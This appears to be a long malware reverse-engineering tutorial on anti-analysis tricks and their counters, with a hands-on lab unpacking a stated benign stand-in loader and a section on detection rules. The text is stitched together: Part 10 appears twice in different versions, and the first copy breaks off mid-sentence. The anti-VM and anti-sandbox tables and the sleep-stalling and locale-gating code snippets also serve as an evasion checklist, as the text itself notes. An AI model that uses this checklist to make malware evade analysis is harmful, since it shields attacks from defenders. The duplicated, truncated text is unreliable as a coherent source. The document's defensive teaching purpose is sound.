Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' `
-Name EnableScriptBlockLogging -Value 1
# after detonation, read the deobfuscated layers
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Where-Object Id -eq 4104 |
ForEach-Object { $_.Properties[2].Value } | Out-File C:\analysis\blocks.txtBlue team usage: that same 4104 logging is the highest-value PowerShell detection control in production, for exactly the reason it helps here — it defeats obfuscation by observing the post-deobfuscation text. Pair it with AMSI, which sees the same content at the scan interface.
Part 10: Anti-Analysis Tricks — The Full Catalogue and How to Defeat Each
Chapter 6 covered anti-debugging specifically. This part covers everything else a sample does to detect that it is being studied: anti-VM, anti-sandbox, anti-emulation, anti-dumping, and anti-disassembly. The organising insight is that all of them are environmental checks feeding a branch, and every one of them can therefore be beaten in one of three ways: make the environment look normal, patch the check, or patch the branch.
10.1 Anti-VM — detecting the hypervisor
| Check | Mechanism | Counter |
|---|---|---|
| CPUID hypervisor bit | cpuid leaf 1, ECX bit 31 set under any hypervisor |
Patch the check; some hypervisors can mask it |
| CPUID vendor leaf | cpuid leaf 0x40000000 returns VMwareVMware, KVMKVMKVM, Microsoft Hv, VBoxVBoxVBox |
Patch, or use a hypervisor with a spoofed leaf |
| MAC address OUI | 00:0C:29/00:50:56 (VMware), 08:00:27 (VirtualBox), 00:15:5D (Hyper-V) |
Set a custom MAC on the VM adapter |
| Registry artefacts | HKLM\SOFTWARE\VMware, Inc., HKLM\HARDWARE\DESCRIPTION\System\SystemBiosVersion containing VBOX |
Rename or remove keys in the golden image |
| Device names | \\.\VBoxMiniRdrDN, \\.\VMCI, \\.\HGFS |
Remove guest additions/tools |
| Running processes | vmtoolsd.exe, VBoxService.exe, vboxtray.exe, prl_tools.exe |
Do not install guest tools, or rename binaries |
| SMBIOS / DMI strings | Manufacturer "VMware, Inc.", "innotek GmbH", "QEMU" | Override SMBIOS in the VM config |
| Disk model | VBOX HARDDISK, VMware Virtual S |
Set a custom disk product ID where the platform allows |
| VMware backdoor I/O port | in eax, dx with magic 0x564D5868 on port 0x5658 |
Patch the check; the instruction faults on bare metal |
| Timing of privileged instructions | rdtsc around cpuid — trapped instructions are far slower in a VM |
Hard to hide; patch the comparison |
Hardening the golden image handles the majority, and it is worth doing once, properly. Beyond that, patching is the practical answer.
Finding the checks is straightforward if you know the search terms. In the dumped payload, look for the string constants (VMware, VBOX, QEMU, Virtual) — and if they are absent because of Part 7's techniques, look for cpuid instructions and for RegOpenKeyExA calls whose key path is built on the stack. In x64dbg, break on the registry and device-open APIs and read the arguments:
bp RegOpenKeyExW
bp CreateFileW
bp GetAdaptersInfo
bp CreateToolhelp32Snapshot
CreateToolhelp32Snapshot followed by a Process32Next loop with string comparisons is process-list fingerprinting, whatever the strings turn out to be.
10.2 Anti-sandbox — detecting an automated analysis environment
Sandboxes differ from real user machines in ways that are easy to measure and hard to fake completely.
| Check | Typical threshold | Counter |
|---|---|---|
| CPU core count | GetSystemInfo, fewer than 2 or 4 means sandbox |
Give the VM 4 cores |
| Physical RAM | GlobalMemoryStatusEx, under 2–4 GB |
Allocate 8 GB |
| Disk size | DeviceIoControl(IOCTL_DISK_GET_LENGTH_INFO), under 60–100 GB |
Provision a large thin-provisioned disk |
| Screen resolution | GetSystemMetrics, defaults like 1024x768 |
Set an unusual, realistic resolution |
| Uptime | GetTickCount under a few minutes means freshly booted for analysis |
Let the VM run 20+ minutes before detonating |
| User name / host name | SANDBOX, MALWARE, VIRUS, JOHN-PC, admin |
Use a realistic, unremarkable name |
| Recent files, browser history, documents | Empty means synthetic | Populate the image with plausible user data |
| Number of running processes | Under ~40 | Open a browser, an office app, a chat client |
| Mouse movement | GetCursorPos twice, compare — no movement means unattended |
Move the mouse during detonation, or hook the API |
| User interaction gate | Waits for a click, a keypress, or a scroll in a fake dialog | Interact with it; do not just watch |
| Known analysis usernames/filenames | Sample checks its own filename against sample.exe, malware.exe, a hash-like name |
Rename the sample to something plausible |
| Domain membership | Standalone workstation means not a real corporate target | Join a lab domain, or patch |
The single highest-value habit here is renaming the sample. A meaningful fraction of samples check GetModuleFileNameW against a list of analysis-typical names or against a pattern of 32/64 hex characters (because analysts commonly name files by hash). Renaming a3f5...9c21.exe to invoice_scan.exe costs one second and unblocks a real percentage of samples.
10.3 Timing and sleep-based evasion
Sandboxes have a time budget — typically two to five minutes per sample. Malware exploits this by simply waiting.
Sleep(600000); // 10 minutes — outlives most sandbox timeouts
// or, harder to skip:
for (i = 0; i < 50; i++) { Sleep(12000); } // many short sleeps
// or, with no Sleep call at all:
start = GetTickCount64();
while (GetTickCount64() - start < 600000) { junk_math(); }Sandboxes counter with sleep patching — hooking Sleep to return immediately. Malware counters the counter by detecting sleep patching:
t1 = GetTickCount64();
Sleep(10000);
t2 = GetTickCount64();
if (t2 - t1 < 9000) exit(0); // our sleep was skipped: we are instrumentedOr by using a timing source the sandbox forgot to hook: NtDelayExecution, GetSystemTimeAsFileTime, QueryPerformanceCounter, timeGetTime, rdtsc directly, or a waitable timer.
How to defeat it manually: in x64dbg, break on Sleep (or NtDelayExecution), and when it hits, edit the argument on the stack to a small value, or simply set the instruction pointer past the call. Do not blanket-hook the timing APIs, because that trips the detection above — patch the specific call, not the API.
API hammering is the related trick where the sample calls a cheap API tens of millions of times, or computes a long chain of hashes, purely to burn the sandbox's time budget without an obvious sleep. In a debugger this shows as a tight loop with an enormous counter; patch the loop bound to a small number and continue.
10.4 Environment gating — geofencing and language checks
A sample may be targeted, and refuse to run outside its target set. This is not evasion so much as operational scoping, but it looks identical from your seat.
if (GetUserDefaultUILanguage() == 0x0419) exit(0); // Russian UI — do not run
if (GetKeyboardLayout(0) == 0x0422) exit(0); // Ukrainian layout
GetLocaleInfoW(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, buf, 8); // "US"?The relevant APIs, all worth having as standing breakpoints during first detonation: GetUserDefaultUILanguage, GetSystemDefaultLangID, GetKeyboardLayoutList, GetLocaleInfoW, GetTimeZoneInformation, and network-based geolocation via a request to an IP-lookup service.
Threat-intel value: a language exclusion list is one of the few genuinely attributive artefacts in a sample. Record the exact locale IDs checked — that list is a durable clustering feature across a family's builds, and far more meaningful than a hash.
10.5 Anti-emulation
Emulators (sandbox CPU emulation, AV engine emulators, unipacker's Unicorn) implement a subset of the instruction set and a subset of the API surface. Malware detects them by using something obscure and checking whether it worked:
- Rare instructions. A single MMX/AVX-512/FMA instruction, or an obscure encoding, that a partial emulator gets wrong or refuses.
- Undocumented or rarely-implemented APIs. Call something obscure; if it returns an implausible success or an unexpected error code, you are in an emulator.
- Deliberate exceptions. Trigger a divide-by-zero or an access violation, handle it in a structured exception handler, and continue in the handler. Emulators frequently mishandle SEH, so the sample dies in the emulator and lives on real hardware. This doubles as anti-analysis, because the real control flow lives in the exception handler and a static reader following the fall-through path reads the wrong branch entirely.
- CPU errata behaviour. Check flag semantics that only real silicon reproduces.
How to defeat it: run on real hardware in a VM rather than in an emulator. Anti-emulation is the reason "just use unipacker" is not a complete methodology, and the reason x64dbg on a real VM remains the ground truth.
When you see SEH-based flow control (push of a handler onto fs:[0] on x86, or a .pdata-registered handler on x64, followed by a deliberate fault), set your debugger to pass the exception to the program (in x64dbg: Options → Exceptions, add the exception code to the ignore list) and breakpoint the handler directly.
10.6 Anti-dumping
Techniques aimed specifically at the operation in Part 5.
| Trick | Effect on your dump | Counter |
|---|---|---|
| Erase the PE header after load | Dumping tools cannot find MZ/PE and refuse |
Rebuild a minimal header by hand, or use PE-sieve which reconstructs from section layout |
Inflate SizeOfImage in the header |
Dumper tries to read an absurd region and fails | Patch the header field in memory before dumping |
| Guard pages around the payload | Reading triggers an exception the sample notices | Change protection with the debugger before dumping |
| Encrypt code pages on demand | Only the executing page is decrypted at any instant | Dump repeatedly at different points and merge, or break at a late point when most pages are resolved |
| IAT redirection and stub thunks | Import reconstruction produces invalid entries | Scylla "fix redirection", or script the stub shape (Part 5.2) |
| Checksums over own code | Software breakpoints (0xCC) change the code and are detected |
Use hardware breakpoints exclusively |
| Deleting the section table | Structural reconstruction fails | PE-sieve's virtual dump mode; rebuild sections from page protections |
The header-erasure case is the most common and the least scary: a PE header is highly stereotyped, and you can reconstruct enough of one to satisfy Ghidra by copying the header from the packed file and fixing AddressOfEntryPoint, section sizes, and SizeOfImage. PE-sieve does this automatically, which is why it is the first tool to try when a dump "has no PE header".
10.7 Anti-disassembly
Aimed not at your debugger but at your disassembler's ability to reconstruct correct instructions.
Overlapping instructions. x86 is a variable-length encoding with no alignment requirement, so the same bytes dec
Part 10: Anti-Analysis Tricks — The Full Catalogue and How to Defeat Each
Protection is only half a modern sample's defence. The other half is active resistance: checks that detect the analysis environment and change behaviour when they trip. These divide into four families — anti-debugging, anti-VM/sandbox, anti-emulation, and anti-disassembly — and each family has a small, learnable set of members.
10.1 Anti-debugging
Chapter 6 covered the debugger-visible half of this; here it is organised as a defeat catalogue.
mindmap
root((Anti-Debug))
API-based
IsDebuggerPresent
CheckRemoteDebuggerPresent
NtQueryInformationProcess
PEB flags
BeingDebugged
NtGlobalFlag
Heap flags
Timing
RDTSC deltas
GetTickCount
QueryPerformanceCounter
Exceptions
INT 3 / 0xCC scan
INT 2D
Single-step traps
Hardware
DR0-DR3 debug registers
Object handles
NtQueryObject DebugObject
CloseHandle invalid
| Technique | Mechanism | Defeat |
|---|---|---|
IsDebuggerPresent |
Reads PEB->BeingDebugged (byte at fs:[0x30]+2) |
ScyllaHide clears the flag; or patch the return to 0 |
CheckRemoteDebuggerPresent |
Calls NtQueryInformationProcess(ProcessDebugPort) |
ScyllaHide hooks the query; or set the port result to 0 |
NtQueryInformationProcess ProcessDebugPort/DebugObjectHandle/DebugFlags (classes 7, 30, 31) |
Kernel-reported debug state | ScyllaHide intercepts all three classes |
PEB NtGlobalFlag |
Debugged processes set FLG_HEAP_* bits (0x70) at PEB+0x68/+0xBC |
ScyllaHide zeroes it |
| Heap flags | Flags/ForceFlags in the heap header differ under a debugger |
ScyllaHide normalises them |
| Debug-register check | Reads DR0–DR3 via GetThreadContext; non-zero means hardware breakpoints |
Use software breakpoints, or ScyllaHide's GetThreadContext hook |
INT 3 / 0xCC scan |
Checksums own code looking for the 0xCC a software breakpoint writes |
Use hardware breakpoints (no code modification) |
Timing (rdtsc, GetTickCount, QPC) |
Single-stepping is thousands of times slower; a large delta between two reads means a human is stepping | ScyllaHide fakes timing; or run full-speed to the region of interest and only step inside it |
NtSetInformationThread(ThreadHideFromDebugger) (class 0x11) |
Detaches the thread from debug events; the debugger goes deaf | ScyllaHide blocks the call |
| Self-debugging | The process debugs itself so nothing else can attach | Break on DebugActiveProcess/NtDebugActiveProcess and neutralise |
OutputDebugString + GetLastError |
Under some debuggers the call behaves differently | ScyllaHide handles it |
The practical answer to nearly this entire column is ScyllaHide with a sensible profile enabled before the first instruction runs (Chapter 6, Part 7). It is a user-mode hook library that intercepts the queries above and returns clean answers. For the residue it does not cover, the pattern is always the same: find the check in the disassembler (the API names give it away), set a breakpoint on the conditional jump that acts on the result, and patch the flag or the jump.
10.2 Anti-VM and anti-sandbox
The sample tries to determine whether it is running on a real user's machine or in an analysis environment, and idles or exits if the latter.
| Category | What it checks | Defeat |
|---|---|---|
| Hypervisor artefacts | cpuid leaf 1 ECX bit 31 (hypervisor present); leaf 0x40000000 vendor string (VMwareVMware, KVMKVMKVM, Microsoft Hv) |
Patch the check, or use a hardened VM that masks the hypervisor bit |
| MAC address OUI | VMware 00:0C:29, 00:50:56; VirtualBox 08:00:27 |
Set a random OUI on the VM's virtual NIC |
| Registry keys | HKLM\SOFTWARE\VMware, Inc., HARDWARE\...\SystemBiosVersion containing "VBOX"/"VMWARE" |
Scrub or spoof the keys |
| Devices/drivers | \\.\VBoxGuest, vmmouse.sys, vmci.sys, VBoxService.exe |
Rename/remove guest additions |
| Disk and RAM size | Disk under ~60 GB or RAM under ~4 GB screams sandbox | Provision a realistic 100+ GB disk and 4+ GB RAM |
| CPU core count | GetSystemInfo / cpuid reporting 1–2 cores |
Assign 4+ vCPUs |
| Loaded analysis processes | Walks the process list for procmon.exe, wireshark.exe, x64dbg.exe, ollydbg.exe, procexp.exe |
Rename the tools, or run them from renamed copies |
| Loaded analysis modules | sbiedll.dll (Sandboxie), dbghelp.dll, api_log.dll, dir_watch.dll |
Do not run inside Sandboxie for hostile samples |
| Username / hostname | SANDBOX, MALWARE, VIRUS, JOHN-PC, admin |
Set a realistic user and hostname |
| Uptime | Freshly booted analysis VM has tiny uptime | Boot the VM well before detonation |
| Artefact files | C:\take_screenshot.ps1, sample-analysis breadcrumbs |
Keep the VM clean of tell-tale files |
| Known sandbox product IDs / MACs | Hard-coded lists for Cuckoo, Any.Run, Joe Sandbox, Triage | Use a bespoke VM, not a public sandbox, for evasive samples |
flowchart TD
A[Sample starts] --> B{cpuid hypervisor bit set?}
B -- Yes --> Z[Exit / decoy behaviour]
B -- No --> C{VM registry keys / drivers present?}
C -- Yes --> Z
C -- No --> D{Disk >= 60GB and RAM >= 4GB and cores >= 4?}
D -- No --> Z
D -- Yes --> E{Analysis processes running?}
E -- Yes --> Z
E -- No --> F[Execute real payload]
style Z fill:#742a2a,color:#fff
style F fill:#22543d,color:#fff
The dominant defeat strategy is VM hardening — building an analysis VM that does not look like one — combined with patching the specific check when hardening is impractical. To patch, find the check (the API and cpuid/str instructions stand out), breakpoint the conditional that consumes its result, and flip the jump so the "real machine" path is always taken. The most reliable way to find these checks without reading everything is to breakpoint the enabling APIs before detonation:
bp GetSystemInfo
bp GetAdaptersInfo
bp RegOpenKeyExW
bp Process32NextW
bp GetDiskFreeSpaceExW
bp CreateToolhelp32Snapshot
When one fires, the following conditional jump is the evasion decision — patch it and continue. Red team relevance: this same table read the other direction is an evasion checklist. Operators who want a payload to sleep in sandboxes but run on real hosts implement exactly these checks; understanding them defensively and offensively is the same knowledge.
10.3 Anti-sandbox by stalling and user-interaction gating
A distinct family: rather than detecting the environment, the sample assumes an automated sandbox will only watch for a few minutes and will have no human at the keyboard, and it exploits both assumptions.
- Sleep-based stalling.
Sleep(600000)or a loop of many short sleeps to outlast the sandbox's analysis window. Naive sandboxes give up; the sample then runs after they stop watching. Defeat: hookSleep/NtDelayExecutionto return immediately (Frida, or a sandbox with sleep-skipping), or in the debugger set the sleep argument to a small value. - Sleep via unusual timers.
SetTimer,WaitForSingleObjecton a never-signalled event with a timeout,timeSetEvent, or spinning onGetTickCount— used because they evadeSleephooks. Defeat: hook the specific timer API, or fast-forward the debugger past the wait. - API-hammering stalls. Millions of benign API calls to burn the sandbox's instruction budget before doing anything malicious. Defeat: breakpoint past the loop.
- User-interaction gates. The payload runs only after real mouse movement, a certain number of clicks, a scroll, a foreground-window change, or a dialog dismissal — because automated sandboxes usually have none. Checks via
GetCursorPospolled over time,GetForegroundWindow,GetLastInputInfo. Defeat: provide interaction (some sandboxes simulate it), or patch the gate.GetLastInputInforeturning a large idle time is the classic "no human here" signal to force past. - Domain/geo gating. Runs only if joined to a specific AD domain, or if the system locale/keyboard is (or is not) a particular country — commodity crime frequently skips CIS locales.
GetUserDefaultLangID,GetKeyboardLayoutList,GetLocaleInfo. Defeat: set the VM's locale to the target's, or patch the comparison.
10.4 Anti-emulation
Aimed specifically at the emulators from Part 6 and at AV engines' built-in emulators, which implement only a subset of the CPU and API surface.
- Rare or undocumented instructions. Uses an obscure instruction (an unusual SSE/AVX form, an FPU edge case,
cpuidsub-leaves) that a partial emulator gets wrong or does not implement, and branches on the result. - Unimplemented API calls. Calls a rarely-emulated API and checks for a plausible return; an emulator that stubs it with a fixed value fails the check.
- CPU-quirk fingerprinting. Relies on precise flag behaviour, exception semantics, or timing that only real silicon reproduces.
- Large computation. A genuine cryptographic workload that is fast on a real CPU but crawls under emulation, used as an implicit timing check.
Defeat: emulation-based tools are simply the wrong choice for anti-emulation samples — switch to real execution in the hardened VM (with a debugger or Frida) where the instructions and APIs behave correctly. This is the one family where Part 6's automation genuinely cannot help, and recognising that early saves time.
10.5 Anti-disassembly
Targets the tools that render code, by exploiting the gap between how a disassembler parses bytes and how the CPU executes them.
Overlapping instructions. A jump lands in the middle of an instruction the disassembler already decoded, so the CPU executes a different instruction stream than the one shown:
; disassembler sees:
EB FF jmp $+1 ; jumps into the next byte
C0 48 ... ; garbage from here on
; but the CPU, landing at +1, executes:
FF C0 inc eax ; a completely different instructionDefeat: in the debugger, follow actual execution — single-step and the real stream reveals itself. In Ghidra, Clear Code Bytes at the misaligned location and re-Disassemble from the true target.
Jump into the middle of an instruction via push-ret and opaque jumps (Parts 4.5 and 8.2) — same principle applied to hide control flow.
Bogus function boundaries. A call to $+5 (the next instruction) used purely to push a return address onto the stack, then add [esp], N; ret to jump — control flow that no boundary heuristic reconstructs. Defeat: recognise the call $+5 / pop idiom as position-independent addressing, not a real call, and step through it.
Structured exception handling as control flow. The code deliberately triggers an exception (a divide by zero, an access violation) and does the real work in the SEH handler, so the linear flow after the faulting instruction is dead code the disassembler wastes effort on. Defeat: find the registered handler (walk the SEH chain, or break on KiUserExceptionDispatcher) and analyse it as the real continuation.
10.6 The unifying principle
Across all four families, one idea defeats the majority of cases: the CPU always executes the real code, so follow the CPU. Static tools can be fooled about what the bytes mean; a debugger stepping real execution, or an instrumentation hook watching real API calls, sees ground truth. Emulation is the exception that inverts this — against anti-emulation you go to real hardware — but for anti-debug, anti-disassembly, and much anti-VM work, dynamic observation of actual execution is the master key. ScyllaHide handles the debugger-detection layer so that "follow the CPU" remains possible even while the sample is trying to prevent exactly that.
Part 11: Hands-On Lab — Peeling a Multi-Layer Loader End to End
A complete, reproducible walkthrough against a representative multi-layer commodity loader. It stacks the techniques from every previous part: an anti-analysis-guarded custom crypter, a compressed native payload with a hashed import table, and stack-string-obfuscated configuration. The sample is a benign stand-in engineered to exhibit exactly these behaviours; every command, flag, address pattern, and output shape transfers directly to real samples. All work is in the Chapter 1 VM, network disconnected, on a snapshot reverted afterward.
11.1 Triage
C:\analysis> sha256sum loader2.bin
7c9e...4b02 loader2.bin
C:\analysis> diec -d -e loader2.bin
PE32
Compiler: Microsoft Visual C/C++(-)[-]
Packer: (custom / unknown)
Entropy: 7.904 (packed)
Section(0)['.text'] ... 3.98 not packed
Section(1)['.data'] ... 7.95 packed <- encrypted blob lives here
Section(2)['.rsrc'] ... 4.10 not packed
C:\analysis> python3 sections.py loader2.bin
name vsize rawsize entropy flags
.text 6000 6000 3.980 R-X
.data 22000 22000 7.951 RW-
.rsrc 1000 1000 4.100 R--
Entry point section: b'.text'
Imported DLLs: 2
C:\analysis> python3 -c "import pefile;pe=pefile.PE('loader2.bin');[print(i.name.decode()) for e in pe.DIRECTORY_ENTRY_IMPORT for i in e.imports if i.name]"
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualProtect
IsDebuggerPresent
GetTickCount
Reading the triage: entropy 7.90 with the mass in .data means an encrypted (not merely compressed) payload — a crypter. Six imports, of which IsDebuggerPresent and GetTickCount are anti-analysis, not payload behaviour. Entry point in .text (the stub). capa confirms and warns:
C:\analysis> capa loader2.bin
WARNING: This sample appears to be packed.
| DEFENSE EVASION | Obfuscated Files or Information::Software Packing |
| DEFENSE EVASION | Virtualization/Sandbox Evasion::Debugger Detection [T1622] |
unipacker is worth ninety seconds and, as expected for a custom crypter with anti-debug, does not fully resolve it:
C:\analysis> unipacker loader2.bin
[+] No known packer signature
[!] Emulation diverged at 0x401180 (IsDebuggerPresent branch)
[!] Could not locate OEP automatically
Manual it is.
11.2 Neutralise the anti-analysis layer
Load loader2.bin in x64dbg (32-bit x32dbg). Before running, enable ScyllaHide with the x64dbg profile (covers IsDebuggerPresent, PEB flags, timing). Confirm TLS-callback breaking is on. Break on the two anti-analysis APIs to see the checks:
bp IsDebuggerPresent
bp GetTickCount
F9
First hit — IsDebuggerPresent. The call stack return address is in the stub. Step out (Ctrl+F9) and observe the branch:
00401180 FF15 xx xx 40 00 call dword ptr [<&IsDebuggerPresent>]
00401186 85C0 test eax, eax
00401188 75 3A jnz 4011C4 ; jnz -> exit path
0040118A ... ; real path continues hereWith ScyllaHide active, IsDebuggerPresent already returns 0, so eax is 0, test sets ZF, and jnz is not taken — the sample proceeds down the real path without intervention. Confirm by stepping: execution falls through to 0x40118A. (Had ScyllaHide not been active, the fix is a one-click Patch of jnz to nop nop, or setting eax to 0 in the register pane before the test.)
The GetTickCount pair is a timing check:
004011A0 FF15 .. GetTickCount ; t1
004011A6 8BF0 mov esi, eax
004011A8 ...decompression setup...
004011E0 FF15 .. GetTickCount ; t2
004011E6 2BC6 sub eax, esi ; delta = t2 - t1
004011E8 3D 88130000 cmp eax, 5000 ; > 5000 ms? (5 sec)
004011ED 77 25 ja 401214 ; too slow -> assume debugger -> exitRunning full-speed (not single-stepping) keeps the delta small, so the ja is not taken. The lesson from Part 10.1 in practice: do not single-step through timing windows — set a breakpoint past them and F9.
11.3 Find the OEP
The stub allocates and decrypts. Apply Technique 2 (Part 4.2) — break on the allocator:
bp VirtualAlloc
F9
Hit. Arguments on the stack (x86 stdcall, read the stack pane):
VirtualAlloc(lpAddress=0, dwSize=0x1B000, flAllocationType=0x3000 MEM_COMMIT|RESERVE, flProtect=0x40 PAGE_EXECUTE_READWRITE)
flProtect = 0x40 (RWX) on a 0x1B000 region is the payload's new home. Execute to return (Ctrl+F9); EAX = 0x02F40000. Set a memory execute breakpoint over the whole region and run:
bpm 0x02F40000, 0, x
F9
Fires at 0x02F40000 — the first instruction the CPU executes in the freshly decrypted region. Inspect it:
02F40000 55 push ebp
02F40001 8BEC mov ebp, esp
02F40003 83EC 40 sub esp, 0x40
02F40006 53 push ebx
02F40007 56 push esi
02F40008 57 push edi
02F40009 E8 A2 01 00 00 call 02F401B0Prologue at the start of the allocated region: this is the OEP of the unpacked payload. Verify per Part 4.10 — press Ctrl+A to analyse; functions reconstruct cleanly. Right-click → search strings in the region:
02F40A20 "%s\\%s.exe"
02F40A34 (encrypted-looking bytes) <- config blob, still encrypted
Readable format strings confirm genuine payload; the encrypted blob near them is the configuration we will recover in 11.6.
11.4 Dump and rebuild the IAT
Payload is self-injected into private RWX memory (not a module), so both Scylla and PE-sieve apply. Scylla path first:
Open Scylla (Plugins → Scylla). The target region is private memory, so:
- OEP:
02F40000. - IAT Autosearch. Scylla reports:
IAT found: VA 0x02F5A000, size 0x120 (72 entries), 8 invalid. - Get Imports. Most resolve; 8 are red — pointing into stub memory, i.e. IAT redirection (Part 5.2).
- Enable Advanced IAT search → Fix redirection, re-run. Now
72 valid, 0 invalid— the redirect stubs (push <api>; ret) were followed to real exports. - Dump →
loader2_dump.bin(dumps the region with alignment fixed). - Fix Dump → select
loader2_dump.bin→ producesloader2_dump_SCY.bin.
Cross-check with PE-sieve against the live PID for a second opinion and to catch anything Scylla's IAT search missed:
C:\analysis> pe-sieve64.exe /pid 5120 /imp 3 /data 3 /dir C:\analysis\ps
[!] Implanted PE found at 0x02F40000 (size: 0x1B000)
Dumped modules: 1 to: .\ps\process_5120
[+] Data region dumped: 2f5c000.data (0x400 bytes) <- decrypted config landed here
/data 3 bonus: PE-sieve also dumped a small data region — potentially the decrypted config, which we verify next.
11.5 Re-triage the dump
Per the peel-and-re-triage rule:
C:\analysis> diec loader2_dump_SCY.bin
PE32
Compiler: Microsoft Visual C/C++(19.2)[-]
Entropy: 6.331 (not packed)
C:\analysis> python3 -c "import pefile;pe=pefile.PE('loader2_dump_SCY.bin');print('DLLs',len(pe.DIRECTORY_ENTRY_IMPORT))"
DLLs 5
C:\analysis> floss -n 6 loader2_dump_SCY.bin
FLOSS STATIC STRINGS: 74
FLOSS STACK STRINGS: 9
wininet.dll
advapi32.dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
%s\%s.exe
FLOSS DECODED STRINGS: 3
0x00402260: https://cdn.example-delivery.net/gate.php
0x00402260: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101
0x004022e4: id=%s&v=1.2&os=%s
Entropy dropped to 6.33, a real compiler string reappeared, 5 DLLs of imports, and FLOSS pulled the C2 URL, user-agent, and beacon format straight out by emulating the decoder at 0x402260. The dump is clean payload.
11.6 Recover the configuration by letting the sample decrypt it
FLOSS already gave the C2, but confirm it live and capture the full config structure. The payload's config decryptor is at 0x402260 (FLOSS told us). In x64dbg, breakpoint just after it, on the instruction that receives the plaintext pointer (from the Ghidra view, 0x0040229A):
bp 0x0040229A
F9
Hit. The plaintext buffer pointer is in EAX. Follow in Dump, switch to UTF-8/ASCII display:
Dump 1 (ASCII):
02F60300 68 74 74 70 73 3A 2F 2F 63 64 6E 2E 65 78 61 6D https://cdn.exam
02F60310 70 6C 65 2D 64 65 6C 69 76 65 72 79 2E 6E 65 74 ple-delivery.net
02F60320 2F 67 61 74 65 2E 70 68 70 00 4D 6F 7A 69 6C 6C /gate.php.Mozill
02F60330 61 2F 35 2E 30 00 47 6C 6F 62 61 6C 5C 7B 38 66 a/5.0.Global\{8f
02F60340 37 61 31 63 32 32 2D ... 7a1c22-...
Config recovered: C2 https://cdn.example-delivery.net/gate.php, user-agent Mozilla/5.0, mutex Global\{8f7a1c22-...}. Save it for the report:
savedata C:\analysis\config.bin, 0x02F60300, 0x80
11.7 Resolve the hashed imports for a readable decompilation
The payload uses ROR-13 API hashing (a ror edx, 0xD loop is visible in the resolver at 0x401F80). Extract the hash constants from the dump and resolve them:
C:\analysis> python3 -c "
import pefile
pe=pefile.PE('loader2_dump_SCY.bin')
# hashes are stored as a null-terminated dword array at RVA 0x2400
data=pe.get_data(0x2400,0x40)
import struct
print([hex(x) for x in struct.unpack('<16I', data) if x])
"
['0x91afca54', '0xe553a458', '0x726774c', '0x7c0dfcaa', '0x91bd55b8', '0xcb72f7c4']
C:\analysis> python3 apihash.py 0x91afca54 0xe553a458 0x726774c 0x7c0dfcaa 0x91bd55b8 0xcb72f7c4
0x91afca54: ror13:kernel32.dll!VirtualAlloc
0xe553a458: ror13:kernel32.dll!VirtualProtect
0x726774c: ror13:kernel32.dll!LoadLibraryA
0x7c0dfcaa: ror13:wininet.dll!InternetOpenW
0x91bd55b8: ror13:wininet.dll!InternetOpenUrlW
0xcb72f7c4: ror13:advapi32.dll!RegSetValueExW
Feed those into the Ghidra rename script (Part 7.5) and the decompiler's opaque indirect calls become InternetOpenUrlW(...), RegSetValueExW(...) — the payload's behaviour (persist via Run key, beacon to C2 over WinINet) is now readable directly.
11.8 Produce durable detection
Two artefacts nothing on the original disk could have given: the unpacked payload's code, and its config. Turn them into a YARA rule that survives re-crypting, because it keys on the payload, not the wrapper:
rule loader2_unpacked_payload {
meta:
description = "Unpacked commodity loader payload — recovered from memory"
note = "keys on payload code + config, not the outer crypter"
strings:
$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101" ascii
$uri = "/gate.php" ascii
$beacon= "id=%s&v=1.2&os=%s" ascii
$ror13 = { C1 CA 0D 03 D0 } // ror edx,0Dh ; add edx,eax (API hasher)
$mutex = "Global\\{8f7a1c22" ascii
condition:
uint16(0) == 0x5A4D and 3 of them
}The $ror13 byte pattern is especially valuable: it matches the hashing routine, which the author reuses across builds even when every string changes. That is the difference between a rule that catches one sample and a rule that catches a family.
11.9 Lab recap
The chain was: guarded custom crypter → RWX-decrypted compressed payload → ROR-13-hashed imports → stack-string + encrypted config. In order, the techniques that peeled it were ScyllaHide (anti-debug), running full-speed past the timing check, VirtualAlloc + bpm x to catch the OEP, Scylla with redirection-fixing to rebuild the IAT, PE-sieve as cross-check and config capture, FLOSS for hidden strings, a breakpoint-after-decrypt to recover the config live, apihash.py for the imports, and finally a payload-keyed YARA rule. None of the final artefacts existed in the file that arrived; every one of them came from execution under control.
Part 12: Detection & Defense Angle
Everything above is analysis. This section flips to the defender who must detect packed and evasive malware at scale, without an analyst per sample.
12.1 Static detection of packing
- Entropy scanning across a fleet: flag executables whose whole-file or per-section entropy exceeds ~7.2, weighted by prevalence (a packed binary seen on one host is more suspicious than a common packed installer seen on thousands). Cheap and high-yield as a triage filter, never as a sole verdict — plenty of benign software is packed.
- Section-anomaly rules: RWX sections,
SizeOfRawData == 0with non-zero virtual size, entry point outside the first code section, and a tiny import table are all YARA-able structural features. A generic "likely packed" rule combining several of these is a strong prioritisation signal. - Packer signatures (DIE's database, YARA packer rulesets) identify known packers, which both prioritises and hints at the unpacking method.
rule suspicious_packed_pe {
meta: description = "Structural indicators of a packed PE — triage, not verdict"
condition:
uint16(0) == 0x5A4D and
pe.number_of_sections >= 1 and
for any s in pe.sections : (
(s.characteristics & 0x20000000) and // executable
(s.characteristics & 0x80000000) and // writable -> RWX
math.entropy(s.raw_data_offset, s.raw_data_size) > 7.2
) and
pe.number_of_imports <= 10
}12.2 Behavioural and memory detection — where packing loses
Packing defeats static signatures but is helpless against runtime observation, because the payload must eventually exist in memory to run. The highest-fidelity detections all live at that moment:
| Signal | Detects | Source |
|---|---|---|
VirtualAlloc/VirtualProtect making a region RWX or W→X |
Unpacking into memory, shellcode staging | ETW, EDR API hooks |
| Executable private memory with no backing file | Self-injected / reflectively loaded payloads | Memory scan (PE-sieve engine, EDR) |
| In-memory image ≠ on-disk image for the same module | Process hollowing | Memory scan comparing module to file |
| Thread start address in unbacked memory | Injected/reflective payload execution | ETW thread-start, EDR |
CreateProcess(CREATE_SUSPENDED) + WriteProcessMemory + SetThreadContext + ResumeThread on the child |
Hollowing sequence | API-sequence correlation |
WriteProcessMemory into another process followed by CreateRemoteThread/QueueUserApcThread |
Classic remote injection | API-sequence correlation |
PowerShell 4104 script blocks containing IEX/FromBase64String/GzipStream |
Script-layer deobfuscation | Script Block Logging |
